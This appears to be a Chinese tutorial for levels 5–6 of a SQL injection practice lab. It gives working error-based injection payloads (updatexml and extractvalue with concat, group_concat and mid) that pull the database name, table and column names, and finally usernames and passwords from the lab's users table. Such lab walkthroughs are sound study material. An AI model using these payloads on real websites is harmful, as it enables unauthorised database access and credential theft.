sql靶場5-6關(報錯注入)保姆級教程

目錄

?

sql靶場5-6關(報錯注入)保姆級教程

1.第五關

1.步驟一(閉合)

2.步驟二(列數)

3.報錯注入深解

4.報錯注入格式

5.步驟三(數據庫表名)

6.常用函數

7.步驟四(表名)

8.步驟五(字段)

9.步驟六(賬號密碼)

2.第六關

?

?


?

sql靶場5-6關(報錯注入)保姆級教程

1.第五關

1.步驟一(閉合)

查詢閉合方式

?id=1 and 1=2

?

?id=1'

?

?id=1'--+

?

?

?

2.步驟二(列數)

查詢列數

?id=1' order by 5--+

?

?id=1' order by 3--+

?

?id=1' order by 4--+

?

看有沒有回顯

?

如果沒有直接回顯字段就看看是否有報錯,利用列數不同查看是否報錯顯示

?

?

?

3.報錯注入深解

有則利用報錯顯示進行注入,讓報錯里面攜帶所需的查詢信息

可以通過列數不同進行判斷是否有報錯,但是報錯注入一般是讓報錯函數通過構造?非法XPath表達式強制觸發數據庫解析錯誤,其核心原理與字段數無關,原因是字段數不匹配錯誤發生在 ?結果集構造階段(如 UNION 前后字段數不一致)報錯注入的異常發生在 ?條件解析階段(如XPath解析失敗),早于結果集生成,無論主查詢返回3個字段還是其他數量,條件邏輯僅影響數據過濾,不涉及字段數對比?

?

4.報錯注入格式

一般是通過updatexml與 extractvalue進行構造?非法XPath表達式

?id=1' and updatexml(1,concat(0x7e,(子查詢語句),0x7e),1)--+
?id=1' and extractvalue(1,concat(0x7e,(子查詢語句),0x7e))--+ 

?

5.步驟三(數據庫表名)

注入數據庫表名

?id=1' and extractvalue(1,concat(0x7e,(select database()),0x7e))--+ 
?id=1' and updatexml(1,concat(0x7e,(select database()),0x7e),1)--+

?

?

6.常用函數

使用的函數

concat:將同一行中多個字段的值拼接為單個字符串,適用于單行多列數據的合并?

group_concat:某一列的數據聚合,適用于單列多行數據的合并?

兩個可以組合使用----每次先將行中的兩個字段進行拼接成字符串再進行列的每行數據聚合

GROUP_CONCAT(CONCAT(col1, col2))

?

區別:

concat適用于需要精準提取特定行數據的場景(如管理員賬號)?。需多次請求,效率較低?

group_concat單次請求獲取數據,但需手動拼接分片結果?。適用于快速批量泄露(如全表用戶密碼)

?

問題:

在利用 updatexml 進行報錯注入時,可能會因為查詢結果因長度限制顯示不全,可通過以下兩種方法解決:mid()或 substr()分片截取數據,規避 updatexml() 的32字符長度限制?

?

區別:

substr(string, start, length) 和mid(string, start, length) 均用于截取字符串的指定部分,兩者語法和功能完全一致?,但是一般使用 mid(),功能相同但兼容性更佳?,可無縫替代 substr避免潛在語法沖突?。

?

使用的語法:

limit 0,1:從第0行開始,獲取1條數據。逐次修改起始位置(如 limit 1,1、limit 2,1)遍歷所有記錄?

substr(string, start, length):從字符串第1位開始截取31個字符(因報錯信息最大長度約32字符),

逐次修改 start 參數(如 32、63)循環獲取后續內容?。

mid(string, start, length):從字符串第1位開始截取31個字符(因報錯信息最大長度約32字符),

逐次修改 start 參數(如 32、63)循環獲取后續內容?。

?

?特性?concat + limitgroup_concat + substr/mid
?數據范圍?單行數據多行聚合數據
?輸出格式?單條記錄(如 user~pass多條記錄合并(如 user1~pass1,user2~pass2
?注入效率?需多次請求遍歷數據單次請求獲取多行數據
?長度限制處理?直接適配單行輸出長度需通過 substr 分段截取避免超長截斷?

?

7.步驟四(表名)

獲取表名:

?id=1' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='security' limit 0,1),0x7e),1)--+

?

報錯原因:查詢表名,但是表名有多個(多行),這里無法全部展示出來,需要使用limit,一行一行查詢

?id=1' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='security' limit 0,1),0x7e),1)--+

?

另外一種方法,使用group_concat與mid,因為這里注入出來的表名沒有超過32個字符,所以可以不使用mid進行截取

?id=1' and updatexml(1,concat(0x7e,mid((select group_concat(table_name) from information_schema.tables where table_schema='security'),1,31),0x7e),1)--+

?

這里我突然想到在使用updatexml構造無效的XPath表達式中如果不使用concat能不能進行報錯注入

?id=1' and updatexml(1,mid((select group_concat(table_name) from information_schema.tables where table_schema='security'),1,30),1)--+

?

結果發現可以進行注入,但是會缺少第一行的數據

原因是不使用concat,沒有分隔符:updatexml在解析字符串時,可能將第一個字符視為XPath語法的一部分而丟失。XPath解析問題:未正確構造無效的XPath表達式,導致首字符被處理掉。

?

8.步驟五(字段)

?id=1' and updatexml(1,concat(0x7e,mid((select group_concat(column_name) from information_schema.columns where table_schema= 'security' and table_name='users'),1,30),0x7e),1)--+

?

?

9.步驟六(賬號密碼)

獲取賬號密碼:

?id=1' and  updatexml(1,concat(0x7e,(select substr((group_concat(username,0x3a,password)),1,32) from users),0x7e),1) --+?id=1' and  updatexml(1,concat(0x7e,(select mid((group_concat(username,0x3a,password)),1,32) from users),0x7e),1) --+?id=1' and  updatexml(1,(select concat(username,0x7e,password) from users limit 0,1),1) --+

?

在這里我再次嘗試了在使用updatexml構造無效的XPath表達式中不使用concat

?id=1' and  updatexml(1,select substr((group_concat(username,0x3a,password)),1,32) from users),1) --+

?

依然是缺少了第一行的數據

這里我突然想到既然缺少了第一行的數據,那么查詢的字符數其實真正是不夠的,如果改變取值,后面的會不會出來呢,于是我改到了40

?id=1' and  updatexml(1,select substr((group_concat(username,0x3a,password)),1,40) from users),1) --+

?

結果發現了因為缺少了第一行的數據,那么查詢的字符數其實真正是不夠的,改變取值,其實后面的是會出來的

于是我繼續往后面加,加到了45,發現只出來了一個,因為應該是實際只能夠截取32位字符,與是我開始減值,到41是最大的值了

?id=1' and  updatexml(1,select substr((group_concat(username,0x3a,password)),1,41) from users),1) --+

?

這里我又在想,如果直接截取最后幾個字符,但是又不足32個字符,會不會將前面缺失的第一行報出來,結果測試發現賬號密碼的數據有點多,我就去表名,突然在注入表名的過程中其實已經知道了,只是沒發現,結果是不會的。

?

2.第六關

進行閉合測試

id=1 1=2

?

id=1'

?

id=1"

?

id=1"--+

?

確認閉合方式就是雙引號

剩下的內容和第五關一樣,只是閉合方式不一樣

?

?

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/bicheng/73053.shtml
繁體地址,請注明出處:http://hk.pswp.cn/bicheng/73053.shtml
英文地址,請注明出處:http://en.pswp.cn/bicheng/73053.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

OSPF-單區域的配置

一、單區域概念: 單區域OSPF中,整個網絡被視為一個區域,區域ID通常為0(骨干區域)。所有的路由器都在這個區域內交換鏈路狀態信息。 補充知識點: OSPF為何需要loopback接口: 1.Loopback接口的…

LeetCode100之二叉樹的直徑(543)--Java

1.問題描述 給你一棵二叉樹的根節點,返回該樹的 直徑 。 二叉樹的 直徑 是指樹中任意兩個節點之間最長路徑的 長度 。這條路徑可能經過也可能不經過根節點 root 。 兩節點之間路徑的 長度 由它們之間邊數表示。 示例1 輸入:root [1,2,3,4,5] 輸出&#…

C語言每日一練——day_4

引言 針對初學者,每日練習幾個題,快速上手C語言。第四天。(連續更新中) 采用在線OJ的形式 什么是在線OJ? 在線判題系統(英語:Online Judge,縮寫OJ)是一種在編程競賽中用…

工作流編排利器:Prefect 全流程解析

工作流編排利器:Prefect 全流程解析 本文系統講解了Prefect工作流編排工具,從基礎入門到高級應用,涵蓋任務與流程管理、數據處理、執行器配置、監控調試、性能優化及與其他工具集成等內容,文末項目實戰示例,幫助讀者全…

Web Workers 客戶端 + 服務端應用

一. Web Workers 客戶端應用 使用 JavaScript 創建 Web Worker 的步驟如下: 1.創建一個新的 JavaScript 文件,其中包含要在工作線程中運行的代碼(耗時任務)。該文件不應包含對 DOM 的引用,因為在工作線程中無法訪問 …

大模型工具Ollama存在安全風險

國家網絡安全通報中心:大模型工具Ollama存在安全風險 來源:國家網絡與信息安全信息通報中心 3月3日,國家網絡安全通報中心發布關于大模型工具Ollama存在安全風險的情況通報,內容如下: 據清華大學網絡空間測繪聯合研…

LINUX系統安裝+添加共享目錄

一、前言 Windows或mac系統中創建Linux工作環境是基于VMware和SL(Scientific Linux),下面分別安裝二者。 二、VMware軟件安裝及注冊 1、雙擊VMware安裝包 2、點擊下一步 3、 勾選接受許可,并點擊下一步 4、更改路徑(建議更改為容易找到的路…

BI 工具響應慢?可能是 OLAP 層拖了后腿

在數據驅動決策的時代,BI 已成為企業洞察業務、輔助決策的必備工具。然而,隨著數據量激增和分析需求復雜化,BI 系統“卡”、“響應慢”的問題日益突出,嚴重影響分析效率和用戶體驗。 本文將深入 BI 性能問題的根源,并…

基于SSM+Vue的汽車維修保養預約系統+LW示例

1.項目介紹 系統角色:管理員、員工、用戶功能模塊:用戶管理、員工管理、汽車類型管理、項目類型管理、維修/預約訂單管理、系統管理、公告管理等技術選型:SSM,vue(后端管理web),Layui&#xff…

在rocklinux里面批量部署安裝rocklinx9

部署三臺Rockylinux9服務器 實驗要求 1. 自動安裝ubuntu server20以上版本 2. 自動部署三臺Rockylinux9服務器,最小化安裝,安裝基礎包,并設定國內源,設靜態IP 實驗步驟 安裝軟件 # yum源必須有epel源 # dnf install -y epel-re…

Oxidized收集H3C交換機網絡配置報錯,not matching configured prompt (?-mix:^(<CD>)$)

背景:問題如上標題,H3C所有交換機配置的model都是comware 解決方案: 1、找到compare.rb [rootoxidized model]# pwd /usr/local/lib/ruby/gems/3.1.0/gems/oxidized-0.29.1/lib/oxidized/model [rootoxidized model]# ll comware.rb -rw-r--…

mac本地安裝運行Redis-單機

記錄一下我以前用的連接服務器的跨平臺SSH客戶端。 因為還要準備畢設...... 服務器又過期了,只能把redis安裝下載到本地了。 目錄 1.github下載Redis 2.安裝homebrew 3.更新GCC 4.自行安裝Redis 5.通過 Homebrew 安裝 Redis 安裝地址:https://git…

C++學習之格斗小游戲綜合案例

C格斗游戲效果視頻 1.案例簡介 #include "broadSword.h" //構造函數 BroadSword::BroadSword() { FileManager fm; map<string, map<string, string>> mWeapon; fm.loadCSVData("Weapons.csv", mWeapon); //武器id string id …

《用Python+PyGame開發雙人生存游戲!源碼解析+完整開發思路分享》

導語? "你是否想過用Python開發一款可玩性高的雙人合作游戲&#xff1f;本文將分享如何從零開始實現一款類《吸血鬼幸存者》的生存射擊游戲&#xff01;包含完整源碼解析、角色系統設計、敵人AI邏輯等核心技術點&#xff0c;文末提供完整代碼包下載&#xff01;" 哈…

【理想解法學習筆記】

目錄 理想解法原理簡介算法步驟屬性值規范化方法代碼示例 理想解法 原理簡介 TOPSIS(Technique for Order Preference by Simi larity to IdealSolution)法是一種逼近理想解的排序方法。其基本的處理思路是&#xff1a;首先建立初始化決策矩陣&#xff0c;而后基于規范化后的初…

Linux基礎開發工具—vim

目錄 1、vim的概念 2、vim的常見模式 2.1 演示切換vim模式 3、vim命令模式常用操作 3.1 移動光標 3.2 刪除文字 3.3 復制 3.4 替換 4、vim底行模式常用命令 4.1 查找字符 5、vim的配置文件 1、vim的概念 Vim全稱是Vi IMproved&#xff0c;即說明它是Vi編輯器的增強…

Skyvern AI 實現 瀏覽器爬蟲+自動化工具

一、前言 本文Skyvern是一款功能強大的模擬瀏覽器自動化操作爬蟲軟件。它通過模擬人類在瀏覽器中的操作&#xff0c;實現對目標網站的自動化訪問、數據抓取和處理。Skyvern支持多種編程語言&#xff0c;用戶可根據需求編寫腳本&#xff0c;實現高效的數據采集。同時&#xff0c…

Spring Boot + MyBatis + MySQL:快速搭建CRUD應用

一、引言 1. 項目背景與目標 在現代Web開發中&#xff0c;CRUD&#xff08;創建、讀取、更新、刪除&#xff09;操作是幾乎所有應用程序的核心功能。本項目旨在通過Spring Boot、MyBatis和MySQL技術棧&#xff0c;快速搭建一個高效、簡潔的CRUD應用。我們將從零開始&#xff…

【Academy】OAuth 2.0 身份驗證漏洞 ------ OAuth 2.0 authentication vulnerabilities

OAuth 2.0 身份驗證漏洞 ------ OAuth 2.0 authentication vulnerabilities 1. 什么是 OAuth&#xff1f;2. OAuth 2.0 是如何工作的&#xff1f;3. OAuth 授權類型3.1 OAuth 范圍3.2 授權代碼授權類型3.3 隱式授權類型 4. OAuth 身份驗證4.1 識別 OAuth 身份驗證4.2 偵察OAuth…

C#常用的循環語句

在C#中&#xff0c;循環是一種控制結構&#xff0c;用于重復執行一組語句直到滿足特定條件。C#提供了幾種循環結構&#xff0c;包括for循環、while循環、do-while循環和foreach循環。每種循環都有其特定的用途和場景。下面我將逐一介紹這些循環的用法。 一、C#循環類型 1. fo…